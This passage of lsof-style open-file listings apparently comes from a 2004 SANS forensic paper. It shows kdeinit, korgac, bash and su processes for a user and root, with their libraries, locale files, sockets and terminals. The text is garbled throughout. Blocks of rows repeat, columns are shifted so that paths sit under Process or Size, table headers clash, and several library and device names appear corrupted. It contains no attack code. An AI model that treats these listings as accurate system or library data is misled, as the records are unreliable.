<td>/usr/lib/libkdefx</td>
</tr>
<tr>
<td>kdeinit</td>
<td>userid1</td>
<td>10r</td>
<td>3425497</td>
<td>75321</td>
<td>/home/userid1</td>
</tr>
<tr>
<td>kdeinit</td>
<td>userid1</td>
<td>10r</td>
<td>4096</td>
<td>32321</td>
<td>/home/userid1</td>
</tr>
<tr>
<td>kdeinit</td>
<td>userid1</td>
<td>10r</td>
<td>53024</td>
<td>2</td>
<td>/home/userid1</td>
</tr>
<tr>
<td>kdeinit</td>
<td>userid1</td>
<td>10r</td>
<td>36360</td>
<td>33359</td>
<td>/usr/bin/kdeinit</td>
</tr>
<tr>
<td>kdeinit</td>
<td>userid1</td>
<td>10r</td>
<td>89547</td>
<td>63490</td>
<td>/lib/ld-2.2.5.so</td>
</tr>
<tr>
<td>kdeinit</td>
<td>userid1</td>
<td>10r</td>
<td>20532</td>
<td>65961</td>
<td>/usr/lib/kwrlted-gcc2.96.so</td>
</tr>
<tr>
<td>kdeinit</td>
<td>userid1</td>
<td>10r</td>
<td>18152</td>
<td>17015</td>
<td>/usr/X11R6/lib/libXRender.so.6.1</td>
</tr>
<tr>
<td>kdeinit</td>
<td>userid1</td>
<td>10r</td>
<td>2457</td>
<td>130317</td>
<td>/usr/lib/locale/en_US.iso885915/LC_TIME</td>
</tr>
<tr>
<td>kdeinit</td>
<td>userid1</td>
<td>10r</td>
<td>20666</td>
<td>114263</td>
<td>/usr/lib/gconv/gconv-modules.cache</td>
</tr>
<tr>
<td>kdeinit</td>
<td>userid1</td>
<td>10r</td>
<td>371</td>
<td>130311</td>
<td>/usr/lib/locale/en_US.iso885915/LC_IDENTIFICATION</td>
</tr>
<tr>
<td>kdeinit</td>
<td>userid1</td>
<td>10r</td>
<td>29</td>
<td>130312</td>
<td>/usr/lib/locale/en_US.iso885915/LC_MEASUREMENT</td>
</tr>
<tr>
<td>kdeinit</td>
<td>userid1</td>
<td>10r</td>
<td>65</td>
<td>130316</td>
<td>/usr/lib/locale/en_US.iso885915/LC_TELEPHONE</td>
</tr>
<tr>
<td>kdeinit</td>
<td>userid1</td>
<td>10r</td>
<td>262818</td>
<td>65460</td>
<td>/usr/lib/libDOOP-gcc2.96.so.4.0.0</td>
</tr>
<tr>
<td>kdeinit</td>
<td>userid1</td>
<td>10r</td>
<td>294341</td>
<td>65748</td>
<td>/usr/lib/libparts-gcc2.96.so.2.0.0</td>
</tr>
<tr>
<td>kdeinit</td>
<td>userid1</td>
<td>10r</td>
<td>3484738</td>
<td>65724</td>
<td>/usr/lib/libkicx-gcc2.96.so.4.0.0</td>
</tr>
<tr>
<td>kdeinit</td>
<td>userid1</td>
<td>10r</td>
<td>4301952</td>
<td>65712</td>
<td>/usr/lib/libkdeui-gcc2.96.so.4.0.0</td>
</tr>
<tr>
<td>kdeinit</td>
<td>userid1</td>
<td>10r</td>
<td>168176</td>
<td>65682</td>
<td>/usr/lib/libkdefx-gcc2.96.so.4.0.0</td>
</tr>
<tr>
<td>kdeinit</td>
<td>userid1</td>
<td>10r</td>
<td>17328</td>
<td>17011</td>
<td>/usr/X11R6/lib/libXrender.so.1.1</td>
</tr>
<tr>
<td>kdeinit</td>
<td>userid1</td>
<td>10r</td>
<td>133032</td>
<td>65706</td>
<td>/usr/lib/libkdesu-gcc2.96.so.4.0.0</td>
</tr>
<tr>
<td>kdeinit</td>
<td>userid1</td>
<td>10r</td>
<td>1962973</td>
<td>65672</td>
<td>/usr/lib/libkdecore-gcc2.96.so.4.0.0</td>
</tr>
<tr>
<td>kdeinit</td>
<td>userid1</td>
<td>10r</td>
<td>7644546</td>
<td>440426</td>
<td>/usr/lib/qt-gplv1.4-2.2.5.so</td>
</tr>
<tr>
<td>kdeinit</td>
<td>userid1</td>
<td>10r</td>
<td>131560</td>
<td>65396</td>
<td>/usr/lib/libpng.so.2.1.0.12</td>
</tr>
<tr>
<td>kdeinit</td>
<td>userid1</td>
<td>10r</td>
<td>59778</td>
<td>65358</td>
<td>/usr/lib/libz.so.1.1.3</td>
</tr>
<tr>
<td>kdeinit</td>
<td>userid1</td>
<td>10r</td>
<td>874476</td>
<td>16985</td>
<td>/usr/X11R6/lib/libX11.so.6.2</td>
</tr>
<tr>
<td>kdeinit</td>
<td>userid1</td>
<td>10r</td>
<td>31520</td>
<td>16903</td>
<td>/usr/X11R6/lib/libM.so.6.0</td>
</tr>
<tr>
<td>kdeinit</td>
<td>userid1</td>
<td>10r</td>
<td>81980</td>
<td>16979</td>
<td>/usr/X11R6/lib/libICE.so.6.3</td>
</tr>
<tr>
<td>kdeinit</td>
<td>userid1</td>
<td>10r</td>
<td>101902</td>
<td>73734</td>
<td>/lib/libpthread.so.0.12.2.0.10.0.10</td>
</tr>
<tr>
<td>kdeinit</td>
<td>userid1</td>
<td>10r</td>
<td>12102</td>
<td>63503</td>
<td>/lib/libkdialog-2.2.5.so</td>
</tr>
<tr>
<td>kdeinit</td>
<td>userid1</td>
<td>10r</td>
<td>52300</td>
<td>16993</td>
<td>/usr/X11R6/lib/libXext.so.6.4</td>
</tr>
<tr>
<td>kdeinit</td>
<td>userid1</td>
<td>10r</td>
<td>68925</td>
<td>63535</td>
<td>/lib/libresolv-2.2.5.so</td>
</tr>
<tr>
<td>kdeinit</td>
<td>userid1</td>
<td>10r</td>
<td>426442</td>
<td>65304</td>
<td>/lib/libstdc++-3-1-lbc6.2-2.10.0.10.0.10</td>
</tr>
<tr>
<td>kdeinit</td>
<td>userid1</td>
<td>10r</td>
<td>11174</td>
<td>65341</td>
<td>/lib/libutil.so.1.1.3</td>
</tr>
<tr>
<td>kdeinit</td>
<td>userid1</td>
<td>10r</td>
<td>173359</td>
<td>73732</td>
<td>/lib/libm.so.2.1.0.12</td>
</tr>
<tr>
<td>kdeinit</td>
<td>userid1</td>
<td>10r</td>
<td>110194</td>
<td>65399</td>
<td>/lib/libc.so.6.2.0.10.0.10</td>
</tr>
<tr>
<td>kdeinit</td>
<td>userid1</td>
<td>10r</td>
<td>290306</td>
<td>65392</td>
<td>/lib/libm.so.2.1.0.12</td>
</tr>
<tr>
<td>kdeinit</td>
<td>userid1</td>
<td>10r</td>
<td>140418</td>
<td>65389</td>
<td>/lib/libpq.so.6.2.0.10.0.10</td>
</tr>
<tr>
<td>kdeinit</td>
<td>userid1</td>
<td>10r</td>
<td>90976</td>
<td>16997</td>
<td>/usr/X11R6/lib/libX11.so.6.2</td>
</tr>
<tr>
<td>kdeinit</td>
<td>userid1</td>
<td>10r</td>
<td>295833</td>
<td>65382</td>
<td>/lib/libfreetype.so.6.2.0.10.0.10</td>
</tr>
<tr>
<td>kdeinit</td>
<td>userid1</td>
<td>10r</td>
<td>207008</td>
<td>63563</td>
<td>/lib/libxml2.so.2.0.10.0.10</td>
</tr>
<tr>
<td>kdeinit</td>
<td>userid1</td>
<td>10r</td>
<td>924879</td>
<td>63562</td>
<td>/lib/libcrypto.so.0.9.6b</td>
</tr>
<tr>
<td>kdeinit</td>
<td>userid1</td>
<td>10r</td>
<td>575687</td>
<td>65982</td>
<td>/usr/lib/libkonq.so.3.0.3/lib.so.3.0.3</td>
</tr>
<tr>
<td>kdeinit</td>
<td>userid1</td>
<td>10r</td>
<td>3484738</td>
<td>65745</td>
<td>/lib/libkio.so.2.2.5.so</td>
</tr>
<tr>
<td>kdeinit</td>
<td>userid1</td>
<td>10r</td>
<td>294341</td>
<td>65706</td>
<td>/usr/lib/libkparts.so.2.2.5.so</td>
</tr>
<tr>
<td>kdeinit</td>
<td>userid1</td>
<td>10r</td>
<td>262818</td>
<td>65640</td>
<td>/usr/lib/libDOOP-gcc2.96.so.4.0.0</td>
</tr>
<tr>
<td>kdeinit</td>
<td>userid1</td>
<td>10r</td>
<td>27328</td>
<td>17011</td>
<td>/usr/X11R6/lib/libXrender.so.1.1</td>
</tr>
<tr>
<td>kdeinit</td>
<td>userid1</td>
<td>10r</td>
<td>425230</td>
<td>65392</td>
<td>/usr/lib/libkparts.so.2.2.5.so</td>
</tr>
<tr>
<td>kdeinit</td>
<td>userid1</td>
<td>10r</td>
<td>294341</td>
<td>65706</td>
<td>/usr/lib/libkparts.so.2.2.5.so</td>
</tr>
<tr>
<td>kdeinit</td>
<td>userid1</td>
<td>10r</td>
<td>262818</td>
<td>65640</td>
<td>/usr/lib/libDOOP-gcc2.96.so.4.0.0</td>
</tr>
<tr>
<td>kdeinit</td>
<td>userid1</td>
<td>10r</td>
<td>27328</td>
<td>17011</td>
<td>/usr/X11R6/lib/libXrender.so.1.1</td>
</tr>
<tr>
<td>kdeinit</td>
<td>userid1</td>
<td>10r</td>
<td>425230</td>
<td>65392</td>
<td>/usr/lib/libkparts.so.2.2.5.so</td>
</tr>
<tr>
<td>kdeinit</td>
<td>userid1</td>
<td>10r</td>
<td>294341</td>
<td>65706</td>
<td>/usr/lib/libkparts.so.2.2.5.so</td>
</tr>
<tr>
<td>kdeinit</td>
<td>userid1</td>
<td>10r</td>
<td>262818</td>
<td>65640</td>
<td>/usr/lib/libDOOP-gcc2.96.so.4.0.0</td>
</tr>
<tr>
<td>kdeinit</td>
<td>userid1</td>
<td>10r</td>
<td>27328</td>
<td>17011</td>
<td>/usr/X11R6/lib/libXrender.so.1.1</td>
</tr>
<tr>
<td>kdeinit</td>
<td>userid1</td>
<td>10r</td>
<td>425230</td>
<td>65392</td>
<td>/usr/lib/libkparts.so.2.2.5.so</td>
</tr>
<tr>
<td>kdeinit</td>
<td>userid1</td>
<td>10r</td>
<td>294341</td>
<td>65706</td>
<td>/usr/lib/libkparts.so.2.2.5.so</td>
</tr>
<tr>
<td>kdeinit</td>
<td>userid1</td>
<td>10r</td>
<td>262818</td>
<td>65640</td>
<td>/usr/lib/libDOOP-gcc2.96.so.4.0.0</td>
</tr>
<tr>
<td>Process</td>
<td>User</td>
<td>Type</td>
<td>Flags</td>
<td>Path</td>
<td></td>
</tr>
<tr>
<td>---------</td>
<td>------</td>
<td>------</td>
<td>-------</td>
<td>------</td>
<td></td>
</tr>
<tr>
<td>kdeinit</td>
<td>userid1</td>
<td>mem</td>
<td>REG 3,2</td>
<td>6996</td>
<td>114215 /usr/lib/gconv/ISO8859-15.so</td>
</tr>
<tr>
<td>kdeinit</td>
<td>userid1</td>
<td>mem</td>
<td>REG 3,5</td>
<td>45415</td>
<td>63523 /lib/libmss_files-2.2.5.so</td>
</tr>
<tr>
<td>kdeinit</td>
<td>userid1</td>
<td>mem</td>
<td>REG 3,5</td>
<td>1401027</td>
<td>73730 /lib/i686/libc-2.2.5.so</td>
</tr>
<tr>
<td>kdeinit</td>
<td>userid1</td>
<td>0r</td>
<td>CHR 1,3</td>
<td>9637</td>
<td>/dev/null</td>
</tr>
<tr>
<td>kdeinit</td>
<td>userid1</td>
<td>1w</td>
<td>REG 3,3</td>
<td>1453</td>
<td>32328 /home/userid1/.xsession-errors</td>
</tr>
<tr>
<td>kdeinit</td>
<td>userid1</td>
<td>2w</td>
<td>REG 3,3</td>
<td>1453</td>
<td>32328 /home/userid1/.xsession-errors</td>
</tr>
<tr>
<td>kdeinit</td>
<td>userid1</td>
<td>3u</td>
<td>unix Oxclbf0a0a</td>
<td>2401</td>
<td>socket</td>
</tr>
<tr>
<td>kdeinit</td>
<td>userid1</td>
<td>4u</td>
<td>unix OxccDe370c0</td>
<td>2403</td>
<td>socket</td>
</tr>
<tr>
<td>kdeinit</td>
<td>userid1</td>
<td>5r</td>
<td>FIFO 0,5</td>
<td>2409</td>
<td>pipe</td>
</tr>
<tr>
<td>kdeinit</td>
<td>userid1</td>
<td>6w</td>
<td>FIFO 0,5</td>
<td>2410</td>
<td>pipe</td>
</tr>
<tr>
<td>kdeinit</td>
<td>userid1</td>
<td>7r</td>
<td>FIFO 0,5</td>
<td>2410</td>
<td>pipe</td>
</tr>
<tr>
<td>kdeinit</td>
<td>userid1</td>
<td>8w</td>
<td>FIFO 0,5</td>
<td>2410</td>
<td>pipe</td>
</tr>
<tr>
<td>kdeinit</td>
<td>userid1</td>
<td>9u</td>
<td>CHR 5,2</td>
<td>9773</td>
<td>/dev/ptmx</td>
</tr>
<tr>
<td>kdeinit</td>
<td>userid1</td>
<td>10u</td>
<td>CHR 136,0</td>
<td>2</td>
<td>/dev/pts/0</td>
</tr>
<tr>
<td>kdeinit</td>
<td>userid1</td>
<td>cwd</td>
<td>DIR 3,3</td>
<td>4096</td>
<td>32321 /home/userid1</td>
</tr>
<tr>
<td>kdeinit</td>
<td>userid1</td>
<td>rtd</td>
<td>DIR 3,5</td>
<td>1024</td>
<td>2 /</td>
</tr>
<tr>
<td>kdeinit</td>
<td>userid1</td>
<td>txt</td>
<td>REG 3,2</td>
<td>112468</td>
<td>33419 /usr/bin/korgac</td>
</tr>
<tr>
<td>kdeinit</td>
<td>userid1</td>
<td>mem</td>
<td>REG 3,5</td>
<td>89547</td>
<td>63490 /lib/libd-2.2.5.so</td>
</tr>
<tr>
<td>kdeinit</td>
<td>userid1</td>
<td>mem</td>
<td>REG 3,2</td>
<td>624081</td>
<td>65795 /usr/lib/libkcal-gcc2.96.so.2.0.0</td>
</tr>
<tr>
<td>kdeinit</td>
<td>userid1</td>
<td>mem</td>
<td>REG 3,2</td>
<td>3484738</td>
<td>65724 /usr/lib/libkbio-gcc2.96.so.4.0.0</td>
</tr>
<tr>
<td>kdeinit</td>
<td>userid1</td>
<td>mem</td>
<td>REG 3,2</td>
<td>2530952</td>
<td>65712 /usr/lib/libkdeui-gcc2.96.so.4.0.0</td>
</tr>
<tr>
<td>kdeinit</td>
<td>userid1</td>
<td>mem</td>
<td>REG 3,2</td>
<td>169766</td>
<td>65682 /usr/lib/libkdefx-gcc2.96.so.4.0.0</td>
</tr>
<tr>
<td>kdeinit</td>
<td>userid1</td>
<td>mem</td>
<td>REG 3,2</td>
<td>17328</td>
<td>17001 /usr/X11R6/lib/stdio-thread.so.1.1</td>
</tr>
<tr>
<td>kdeinit</td>
<td>userid1</td>
<td>mem</td>
<td>REG 3,2</td>
<td>133032</td>
<td>65706 /usr/lib/libkdeus-gcc2.96.so.4.0.0</td>
</tr>
<tr>
<td>kdeinit</td>
<td>userid1</td>
<td>mem</td>
<td>REG 3,2</td>
<td>1962973</td>
<td>65672 /usr/lib/libkdecore-gcc2.96.so.4.0.0</td>
</tr>
<tr>
<td>kdeinit</td>
<td>userid1</td>
<td>mem</td>
<td>REG 3,2</td>
<td>262818</td>
<td>56540 /usr/lib/libDOCP-gcc2.96.so.4.0.0</td>
</tr>
<tr>
<td>kdeinit</td>
<td>userid1</td>
<td>mem</td>
<td>REG 3,2</td>
<td>7644546</td>
<td>440426 /usr/lib/qt-gt-3.0.3/lib/libqt-3.0.3.so</td>
</tr>
<tr>
<td>kdeinit</td>
<td>userid1</td>
<td>mem</td>
<td>REG 3,2</td>
<td>12102</td>
<td>63503 /lib/libdl-2.2.5.so</td>
</tr>
<tr>
<td>kdeinit</td>
<td>userid1</td>
<td>mem</td>
<td>REG 3,2</td>
<td>847476</td>
<td>16985 /usr/X11R6/lib/libX11.so.6.2</td>
</tr>
<tr>
<td>kdeinit</td>
<td>userid1</td>
<td>mem</td>
<td>REG 3,2</td>
<td>31520</td>
<td>16983 /usr/X11R6/lib/libSM.so.6.0</td>
</tr>
<tr>
<td>kdeinit</td>
<td>userid1</td>
<td>mem</td>
<td>REG 3,2</td>
<td>81980</td>
<td>16979 /usr/X11R6/lib/libICE.so.6.2</td>
</tr>
<tr>
<td>kdeinit</td>
<td>userid1</td>
<td>mem</td>
<td>REG 3,2</td>
<td>2457</td>
<td>130317</td>
</tr>
<tr>
<td>kdeinit</td>
<td>userid1</td>
<td>mem</td>
<td>REG 3,2</td>
<td>20666</td>
<td>114263 /usr/lib/gconv/gconv-modules.cache</td>
</tr>
<tr>
<td>kdeinit</td>
<td>userid1</td>
<td>mem</td>
<td>REG 3,2</td>
<td>371</td>
<td>130311</td>
</tr>
<tr>
<td>kdeinit</td>
<td>userid1</td>
<td>mem</td>
<td>REG 3,2</td>
<td>29</td>
<td>130312</td>
</tr>
<tr>
<td>kdeinit</td>
<td>userid1</td>
<td>mem</td>
<td>REG 3,2</td>
<td>65</td>
<td>130316</td>
</tr>
<tr>
<td>kdeinit</td>
<td>userid1</td>
<td>mem</td>
<td>REG 3,2</td>
<td>65</td>
<td>130316</td>
</tr>
<tr>
<td>kdeinit</td>
<td>userid1</td>
<td>mem</td>
<td>REG 3,2</td>
<td>161</td>
<td>130310</td>
</tr>
<tr>
<td>kdeinit</td>
<td>userid1</td>
<td>mem</td>
<td>REG 3,2</td>
<td>83</td>
<td>130314</td>
</tr>
<tr>
<td>kdeinit</td>
<td>userid1</td>
<td>mem</td>
<td>REG 3,2</td>
<td>40</td>
<td>130315</td>
</tr>
<tr>
<td>kdeinit</td>
<td>userid1</td>
<td>mem</td>
<td>REG 3,2</td>
<td>58</td>
<td>179360</td>
</tr>
<tr>
<td>kdeinit</td>
<td>userid1</td>
<td>mem</td>
<td>REG 3,2</td>
<td>60</td>
<td>130322</td>
</tr>
<tr>
<td>kdeinit</td>
<td>userid1</td>
<td>mem</td>
<td>REG 3,2</td>
<td>292</td>
<td>130313</td>
</tr>
<tr>
<td>kdeinit</td>
<td>userid1</td>
<td>mem</td>
<td>REG 3,2</td>
<td>60</td>
<td>130322</td>
</tr>
<tr>
<td>kdeinit</td>
<td>userid1</td>
<td>mem</td>
<td>REG 3,2</td>
<td>10902</td>
<td>16965</td>
</tr>
<tr>
<td>kdeinit</td>
<td>userid1</td>
<td>mem</td>
<td>REG 3,2</td>
<td>101902</td>
<td>73734 /lib/i686/libpthread-0.9.so</td>
</tr>
<tr>
<td>kdeinit</td>
<td>userid1</td>
<td>mem</td>
<td>REG 3,2</td>
<td>12102</td>
<td>63503 /lib/libdl-2.2.5.so</td>
</tr>
<tr>
<td>kdeinit</td>
<td>userid1</td>
<td>mem</td>
<td>REG 3,2</td>
<td>52300</td>
<td>16993 /usr/X11R6/lib/libXext.so.6.4.4</td>
</tr>
<tr>
<td>kdeinit</td>
<td>userid1</td>
<td>mem</td>
<td>REG 3,2</td>
<td>68925</td>
<td>63535 /lib/libresolv-2.2.5.so</td>
</tr>
<tr>
<td>kdeinit</td>
<td>userid1</td>
<td>mem</td>
<td>REG 3,2</td>
<td>11174</td>
<td>63541 /lib/libutil-2.2.5.so</td>
</tr>
<tr>
<td>kdeinit</td>
<td>userid1</td>
<td>mem</td>
<td>REG 3,2</td>
<td>59798</td>
<td>63538 /lib/libstdc++.so.6.1.3</td>
</tr>
<tr>
<td>kdeinit</td>
<td>userid1</td>
<td>mem</td>
<td>REG 3,2</td>
<td>426442</td>
<td>63530 /usr/lib/libboost++-3-3-libc6.2-2.10.0.0.so</td>
</tr>
<tr>
<td>kdeinit</td>
<td>userid1</td>
<td>mem</td>
<td>REG 3,2</td>
<td>173359</td>
<td>73732 /lib/i686/libm-2.2.5.so</td>
</tr>
<tr>
<td>kdeinit</td>
<td>userid1</td>
<td>mem</td>
<td>REG 3,2</td>
<td>110194</td>
<td>65399 /usr/lib/libcups.so.2</td>
</tr>
<tr>
<td>kdeinit</td>
<td>userid1</td>
<td>mem</td>
<td>REG 3,2</td>
<td>290306</td>
<td>65392 /usr/lib/libmng.so.1.0.0</td>
</tr>
<tr>
<td>kdeinit</td>
<td>userid1</td>
<td>mem</td>
<td>REG 3,2</td>
<td>140418</td>
<td>65389 /usr/lib/libjpeg.so.62.0.0</td>
</tr>
<tr>
<td>kdeinit</td>
<td>userid1</td>
<td>mem</td>
<td>REG 3,2</td>
<td>90976</td>
<td>16997 /usr/X11R6/lib/libKXf.so.1.1</td>
</tr>
<tr>
<td>kdeinit</td>
<td>userid1</td>
<td>mem</td>
<td>REG 3,2</td>
<td>295833</td>
<td>65382 /usr/lib/libfreetype.so.6.3.0</td>
</tr>
<tr>
<td>kdeinit</td>
<td>userid1</td>
<td>mem</td>
<td>REG 3,2</td>
<td>207008</td>
<td>65363 /lib/libssl.so.0.9.6b</td>
</tr>
<tr>
<td>Process</td>
<td>User ID</td>
<td>Type</td>
<td>File Path</td>
<td>Size</td>
<td></td>
</tr>
<tr>
<td>-------------</td>
<td>---------</td>
<td>------</td>
<td>------------------------------------------</td>
<td>------------</td>
<td></td>
</tr>
<tr>
<td>korgac</td>
<td>1228</td>
<td>mem</td>
<td>/lib/libcrypto.so.0.9.6b</td>
<td>63562</td>
<td></td>
</tr>
<tr>
<td>korgac</td>
<td>1228</td>
<td>mem</td>
<td>/lib/libcrypto.so.0.9.6b</td>
<td>22592</td>
<td></td>
</tr>
<tr>
<td>/usr/lib/locale/en_US.iso885915/LC_COLLATE</td>
<td>1228</td>
<td>mem</td>
<td>/lib/libcrypto.so.0.9.6b</td>
<td>173680</td>
<td></td>
</tr>
<tr>
<td>korgac</td>
<td>1228</td>
<td>mem</td>
<td>/lib/libcrypto.so.0.9.6b</td>
<td>136415</td>
<td></td>
</tr>
<tr>
<td>/usr/X11R6/lib/X11/locale/common/ximcp.so.2</td>
<td>1228</td>
<td>mem</td>
<td>/lib/libcrypto.so.0.9.6b</td>
<td>3228</td>
<td></td>
</tr>
<tr>
<td>korgac</td>
<td>1228</td>
<td>mem</td>
<td>/lib/libcrypto.so.0.9.6b</td>
<td>3296</td>
<td></td>
</tr>
<tr>
<td>korgac</td>
<td>1228</td>
<td>mem</td>
<td>/lib/libcrypto.so.0.9.6b</td>
<td>3296</td>
<td></td>
</tr>
<tr>
<td>korgac</td>
<td>1228</td>
<td>mem</td>
<td>/lib/libcrypto.so.0.9.6b</td>
<td>4000</td>
<td></td>
</tr>
<tr>
<td>korgac</td>
<td>1228</td>
<td>mem</td>
<td>/lib/libcrypto.so.0.9.6b</td>
<td>4000</td>
<td></td>
</tr>
<tr>
<td>korgac</td>
<td>1228</td>
<td>mem</td>
<td>/lib/libcrypto.so.0.9.6b</td>
<td>4000</td>
<td></td>
</tr>
<tr>
<td>korgac</td>
<td>1228</td>
<td>mem</td>
<td>/lib/libcrypto.so.0.9.6b</td>
<td>4000</td>
<td></td>
</tr>
<tr>
<td>korgac</td>
<td>1228</td>
<td>mem</td>
<td>/lib/libcrypto.so.0.9.6b</td>
<td>4000</td>
<td></td>
</tr>
<tr>
<td>korgac</td>
<td>1228</td>
<td>mem</td>
<td>/lib/libcrypto.so.0.9.6b</td>
<td>4000</td>
<td></td>
</tr>
</tbody>
</table>

© SANS Institute 2004, Author retains full rights.
<table>
<thead>
<tr>
<th>Command</th>
<th>User</th>
<th>Type</th>
<th>Stat</th>
<th>Size</th>
<th>Date</th>
<th>Location</th>
</tr>
</thead>
<tbody>
<tr>
<td>bash</td>
<td>1234</td>
<td>user</td>
<td>REG</td>
<td>3,2</td>
<td>22592</td>
<td>130323</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td>/usr/lib/locale/en_US.iso885915/LC_COLLATE</td>
</tr>
<tr>
<td>bash</td>
<td>1234</td>
<td>user</td>
<td>REG</td>
<td>3,2</td>
<td>173680</td>
<td>130324</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td>/usr/lib/locale/en_US.iso885915/LC_CTYPE</td>
</tr>
<tr>
<td>bash</td>
<td>1234</td>
<td>user</td>
<td>REG</td>
<td>3,5</td>
<td>45415</td>
<td>63523</td>
</tr>
<tr>
<td>bash</td>
<td>1234</td>
<td>user</td>
<td>REG</td>
<td>3,5</td>
<td>46177</td>
<td>63531</td>
</tr>
<tr>
<td>bash</td>
<td>1234</td>
<td>user</td>
<td>REG</td>
<td>3,5</td>
<td>89424</td>
<td>63507</td>
</tr>
<tr>
<td>bash</td>
<td>1234</td>
<td>user</td>
<td>REG</td>
<td>3,5</td>
<td>1401027</td>
<td>73730</td>
</tr>
<tr>
<td>bash</td>
<td>1234</td>
<td>user</td>
<td>CHR</td>
<td>136,1</td>
<td>3</td>
<td></td>
</tr>
<tr>
<td>bash</td>
<td>1234</td>
<td>user</td>
<td>CHR</td>
<td>136,1</td>
<td>3</td>
<td></td>
</tr>
<tr>
<td>bash</td>
<td>1234</td>
<td>user</td>
<td>CHR</td>
<td>136,1</td>
<td>3</td>
<td></td>
</tr>
<tr>
<td>bash</td>
<td>1234</td>
<td>user</td>
<td>CHR</td>
<td>255,1</td>
<td>3</td>
<td></td>
</tr>
<tr>
<td>su</td>
<td>1266</td>
<td>root</td>
<td>CHR</td>
<td>136,1</td>
<td>3</td>
<td></td>
</tr>
<tr>
<td>su</td>
<td>1266</td>
<td>root</td>
<td>CHR</td>
<td>136,1</td>
<td>3</td>
<td></td>
</tr>
<tr>
<td>su</td>
<td>1266</td>
<td>root</td>
<td>CHR</td>
<td>136,1</td>
<td>3</td>
<td></td>
</tr>
<tr>
<td>su</td>
<td>1266</td>
<td>root</td>
<td>CHR</td>
<td>136,1</td>
<td>3</td>
<td></td>
</tr>
<tr>
<td>su</td>
<td>1266</td>
<td>root</td>
<td>CHR</td>
<td>136,1</td>
<td>3</td>
<td></td>
</tr>
<tr>
<td>su</td>
<td>1266</td>
<td>root</td>
<td>CHR</td>
<td>136,1</td>
<td>3</td>
<td></td>
</tr>
<tr>
<td>su</td>
<td>1266</td>
<td>root</td>
<td>CHR</td>
<td>136,1</td>
<td>3</td>
<td></td>
</tr>
<tr>
<td>su</td>
<td>1266</td>
<td>root</td>
<td>CHR</td>
<td>136,1</td>
<td>3</td>
<td></td>
</tr>
<tr>
<td>su</td>
<td>1266</td>
<td>root</td>
<td>CHR</td>
<td>136,1</td>
<td>3</td>
<td></td>
</tr>
<tr>
<td>su</td>
<td>1266</td>
<td>root</td>
<td>CHR</td>
<td>136,1</td>
<td>3</td>
<td></td>
</tr>
<tr>
<td>su</td>
<td>1266</td>
<td>root</td>
<td>CHR</td>
<td>136,1</td>
<td>3</td>
<td></td>
</tr>
<tr>
<td>bash</td>
<td>1269</td>
<td>root</td>
<td>CHR</td>
<td>136,1</td>
<td>3</td>
<td></td>
</tr>
<tr>
<td>bash</td>
<td>1269</td>
<td>root</td>
<td>CHR</td>
<td>136,1</td>
<td>3</td>
<td></td>
</tr>
<tr>
<td>bash</td>
<td>1269</td>
<td>root</td>
<td>CHR</td>
<td>136,1</td>
<td>3</td>
<td></td>
</tr>
</tbody>
</table>

© SANS Institute 2004, Author retains full rights.
bash 1269 root mem REG 3,2 173680 130324 /usr/lib/locale/en_US.iso885915/LC_CTYPE
bash 1269 root mem REG 3,5 1401027 73730 /lib/i686/libc-2.2.5.so
bash 1269 root 0u CHR 136,1 3 /dev/pts/1
bash 1269 root 1u CHR 136,1 3 /dev/pts/1
bash 1269 root 2u CHR 136,1 3 /dev/pts/1
kdeinit 6133 userid1 cwd DIR 3,3 4096 32321 /home/userid1
kdeinit 6133 userid1 rtd DIR 3,5 1024 2 /lib
kdeinit 6133 userid1 txt REG 3,2 36360 33359 /usr/bin/kdeinit
kdeinit 6133 userid1 mem REG 3,5 89547 63490 /lib/libc-2.2.5.so
kdeinit 6133 userid1 mem REG 3,2 2457 130324 /usr/lib/locale/en_US.iso885915/LC_TIME
kdeinit 6133 userid1 mem REG 3,2 20666 130323 /usr/lib/locale/en_US.iso885915/LC_CTYPE
kdeinit 6133 userid1 mem REG 3,2 173680 130324 /usr/lib/locale/en_US.iso885915/LC_CTYPE
bash 7170 userid1 rtd DIR 3,5 1024 2 /  
bash 7170 userid1 txt REG 3,5 541096 40973 /bin/bash  
bash 7170 userid1 mem REG 3,5 89547 63490 /lib/ld-2.2.5.so  
bash 7170 userid1 mem REG 3,2 371 130311 /usr/lib/locale/en_US.iso885915/LC_IDENTIFICATION  
bash 7170 userid1 mem REG 3,2 20666 114263 /usr/lib/gconv/gconv-modules.cache  
bash 7170 userid1 mem REG 3,2 29 130312 /usr/lib/locale/en_US.iso885915/LC_MEASUREMENT  
bash 7170 userid1 mem REG 3,2 65 130316 /usr/lib/locale/en_US.iso885915/LC_TELEPHONE  
bash 7170 userid1 mem REG 3,2 161 130310 /usr/lib/locale/en_US.iso885915/LC_ADDRESS  
bash 7170 userid1 mem REG 3,2 83 130314 /usr/lib/locale/en_US.iso885915/LC_NAME  
bash 7170 userid1 mem REG 3,2 40 130315 /usr/lib/locale/en_US.iso885915/LC_PAPER  
bash 7170 userid1 mem REG 3,2 50 179360 /usr/lib/locale/en_US.iso885915/LC_MESSAGES/SYS_LC_MESSAGES  
bash 7170 userid1 mem REG 3,2 292 130313 /usr/lib/locale/en_US.iso885915/LC_COLLATE  
bash 7170 userid1 mem REG 3,2 173680 130324 /usr/lib/locale/en_US.iso885915/LC_CTYPE  
bash 7170 userid1 mem REG 3,5 5391 43050 /lib/security/pam_rootok.so  
bash 7170 userid1 mem REG 3,5 23575 63501 /lib/libcrypt-2.2.5.so  
bash 7170 userid1 mem REG 3,5 12015 63568 /lib/libpam_misc.so.0.75  
bash 7170 userid1 mem REG 3,2 22592 130323 /usr/lib/locale/en_US.iso885915/LC_COLLATE  

bash 7170 userid1 mem REG 3,5 1024 2 /  
bash 7170 userid1 txt REG 3,5 541096 40973 /bin/bash  
bash 7170 userid1 mem REG 3,5 89547 63490 /lib/ld-2.2.5.so  
bash 7170 userid1 mem REG 3,2 371 130311 /usr/lib/locale/en_US.iso885915/LC_IDENTIFICATION  
bash 7170 userid1 mem REG 3,2 20666 114263 /usr/lib/gconv/gconv-modules.cache  
bash 7170 userid1 mem REG 3,2 29 130312 /usr/lib/locale/en_US.iso885915/LC_MEASUREMENT  
bash 7170 userid1 mem REG 3,2 65 130316 /usr/lib/locale/en_US.iso885915/LC_TELEPHONE  
bash 7170 userid1 mem REG 3,2 161 130310 /usr/lib/locale/en_US.iso885915/LC_ADDRESS  
